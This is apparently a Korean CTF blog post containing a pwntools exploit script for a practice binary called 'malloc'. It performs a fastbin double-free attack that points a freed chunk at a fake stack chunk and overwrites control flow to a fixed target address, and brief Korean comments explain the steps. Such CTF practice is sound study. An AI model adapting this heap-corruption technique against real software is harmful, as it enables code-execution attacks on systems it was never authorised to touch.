2018. 4. 14. 04:05ㆍ0x07 CTF/[스스로 푼 것]
help : bin4ry
from pwn import *
import sys
p = process('./malloc')
target = 0x400986
sys.stdout.flush()
p.recvuntil('Stack Address : ')
stack_addr = int(p.recvline(), 16)
print stack_addr
print p.recvuntil('> ')
p.sendline("1") #malloc
print p.recvuntil('Enter size :')
p.sendline("31")
print p.recvuntil('Enter data :')
p.sendline("A"*31)
print p.recvuntil('> ')
p.sendline('2') # free
p.sendline('1')
print p.recvuntil('> ')
p.sendline('2') # free
p.sendline('2')
print p.recvuntil('> ')
p.sendline('4') # modify
print p.recvuntil('Which chunk do you want to modify :')
p.sendline('1')
print p.recvuntil('Enter data :')
p.sendline(p64(stack_addr-0x58)) # fake chunk
-----------------------------------------> main_arena.fastbinsY를 조작 할 수 있다. (free가 한번 되었기에 어느 힙 주소를 가리키고 있는데 이를 스택주소로 바꿔치기)
print p.recvuntil('> ')
p.sendline('1') # malloc
print p.recvuntil('Enter size :')
p.sendline('31')
print p.recvuntil('Enter data :')
p.sendline('a'*31)
print p.recvuntil('> ')
p.sendline('1')
print p.recvuntil('Enter size :')
p.sendline('50') # 큰 데이터를 사이즈를 넣어도 Big data라는 표시만 할 뿐 데이터 입력이 가능하다. 놉 스레드 깔고 target으로 향하게 했다
print p.recvuntil('Enter data :')
p.sendline('\x90'*24+p64(target))
print p.recvline()
print 'finish'
p.interactive()
'0x07 CTF > [스스로 푼 것]' 카테고리의 다른 글
DEFCON CTF Qualifier 2018 ELF Clumber (0) | 2018.05.14 |
---|---|
Plaid CTF ropasaurusrex Expliot (0) | 2018.05.02 |
defcon 2015 babyecho (0) | 2018.04.09 |
swamp return writeup (0) | 2018.04.08 |
swamp journey writeup (0) | 2018.04.08 |